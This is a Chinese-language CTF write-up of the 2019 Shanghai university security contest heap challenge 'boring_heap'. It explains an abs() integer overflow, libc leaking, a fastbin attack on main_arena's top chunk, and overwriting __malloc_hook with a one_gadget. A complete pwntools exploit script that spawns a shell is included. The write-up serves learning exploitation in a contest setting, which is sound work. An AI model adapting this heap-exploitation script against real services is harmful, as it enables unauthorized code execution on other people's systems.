2019 上海市大学生安全赛 boring_heap 经验总结

这题盯了一上午没发现漏洞点…, 然后就自闭了
但是就算自闭, 学还是要学的…

程序分析:
2019 上海市大学生安全赛 boring_heap 经验总结_第1张图片
常规操作都齐了

1.add
程序中限制了创建的chunk的size只能为0x20, 0x30, 0x40 其中之一

2.update
相当于edit, 不过可以指定修改的数据的位置, 利用取余操作来保证不会越界, 不过abs函数存在溢出可以使返回值为一个负数, 这就是漏洞所在的地方

其它操作没什么特殊的地方了

漏洞点:
2019 上海市大学生安全赛 boring_heap 经验总结_第2张图片

abs函数存在溢出, 导致返回的值可以为负数
abs函数的libc源码:
2019 上海市大学生安全赛 boring_heap 经验总结_第3张图片
若输入的参数为0x80000000, 二进制为1000 0000 0000 0000, 按位取反后再加上一二进制依然为1000 0000 0000 0000, 返回值为一个负数

示例程序:
2019 上海市大学生安全赛 boring_heap 经验总结_第4张图片
输出:
2019 上海市大学生安全赛 boring_heap 经验总结_第5张图片
从这可以知道在创建medium大小的chunk后调用update函数可以造成溢出使得修改chunk的size

漏洞利用:
由于程序限制了chunk的size, 会的fastbin attack之类的用不上了
这里用的是修改main_arena中的top_chunk的地址, 劫持到malloc_hook 的地址, 之后再分配chunk地址时就会从malloc_hook 的地址开始分配chunk, 这样就可以覆写malloc_hook 为one_gadget 来getshell了

具体步骤:
1.创建多个medium的chunk, 利用abs函数的漏洞修改chunk的size符合unsortedbin中的size, 之后通过切割unsortedbin中的chunk来达到泄露libc地址的目的

2.由于要改写top_chunk的地址, 所以需要再main_arena中伪造一个chunk, 那么就得在main_arena中写入一个伪造的chunk的size, 通过调试发现fastbin中得next addr会存放于main_arena中, 那么就可以通过控制fastbin中的chunk的next chunk的地址为伪造的chunk的size, 那么算好这个size所在的地址与libc基址的偏移就可以通过fastbin attack达到修改top_chunk的地址的目的
2019 上海市大学生安全赛 boring_heap 经验总结_第6张图片
2019 上海市大学生安全赛 boring_heap 经验总结_第7张图片
3.伪造了chunk后之后就是改写top_chunk的地址了, 再分配chunk覆写malloc_hook为one_gadget, 最后就是触发one_gadget getshell了
2019 上海市大学生安全赛 boring_heap 经验总结_第8张图片
EXP:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 1

if debug == 0:
	p = process("./ipwn1")
	if d == 1:
		context.terminal = ['tmux', 'splitw', '-h']
		gdb.attach(p)
else:
	p = remote("8sdafgh.gamectf.com", 10001)

def add(sizen, content):
	p.sendlineafter("5.Exit", str(1))
	p.sendlineafter("3.Large", str(sizen))
	p.sendafter("Input Content:", content)

def update(idd, ps, content):
	p.sendlineafter("5.Exit", str(2))
	p.sendlineafter("Which one do you want to update?", str(idd))
	p.sendlineafter("Where you want to update?", str(ps))
	p.sendlineafter("Input Content:", content)

def delete(idd):
	p.sendlineafter("5.Exit", str(3))
	p.sendlineafter("Which one do you want to delete?", str(idd))

def view(idd):
	p.sendlineafter("5.Exit", str(4))
	p.sendlineafter("Which one do you want to view?", str(idd))

add(2, 'aa\n')    #0

add(2, 'bb\n')    #1

add(2, 'cc\n')    #2

add(3, '\x00'*8 + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n')   #3

payload = '\x00'*0x18 + p64(0x91)
update(1, 0x80000000, payload)

delete(1)

add(2, 'ee\n')    #4  

view(2)

libc = ELF("ipwn1_libc.so")

p.recvline()
leak = p.recvline()[:-1]
libc_addr = u64(leak.ljust(8, '\x00'))
libc_base = libc_addr - (0x7f59829d5b78 - 0x7f5982611000)
realloc = libc_base + libc.symbols['__libc_realloc']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
onegadget = libc_base + 0xf1147
print "libc_addr -> " + hex(libc_addr)
print "libc_base -> " + hex(libc_base)
print "malloc_hook -> " + hex(malloc_hook)
print "realloc -> " + hex(realloc)
print "onegadget -> " + hex(onegadget)

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

add(2, 'ff\n')   #5

add(2, 'gg\n')   #6

add(2, 'h\n')   #7

add(2, p64(0x21)*6)   #8

#add(2, p64(0x21)*6)   #9

update(6, 0x80000000, '\x00'*0x18 + p64(0x91))

delete(6)

add(3, 'j\n')   #9

add(2, 'k\n')   #10

delete(10)

update(7, 0, p64(0) + p64(0x41) + p64(0x51))

add(2, 'l\n')

payload = '\x00'*0x18 + p64(0x51)
update(5, 0x80000000, payload)

delete(5)

top_addr = libc_base + (0x7f197fcb0b30 - 0x7f197f8ec000)
update(2, 0, p64(top_addr))

raw_input()
add(3, 'j\n')

payload = '\x00'*0x38 + p64(malloc_hook - 0x10)
add(3, payload)

add(1, p64(onegadget)*2 + '\n')

p.sendlineafter("5.Exit", str(1))
p.sendlineafter("3.Large", str(1))

p.interactive()

结果:
2019 上海市大学生安全赛 boring_heap 经验总结_第9张图片

你可能感兴趣的:(PWN)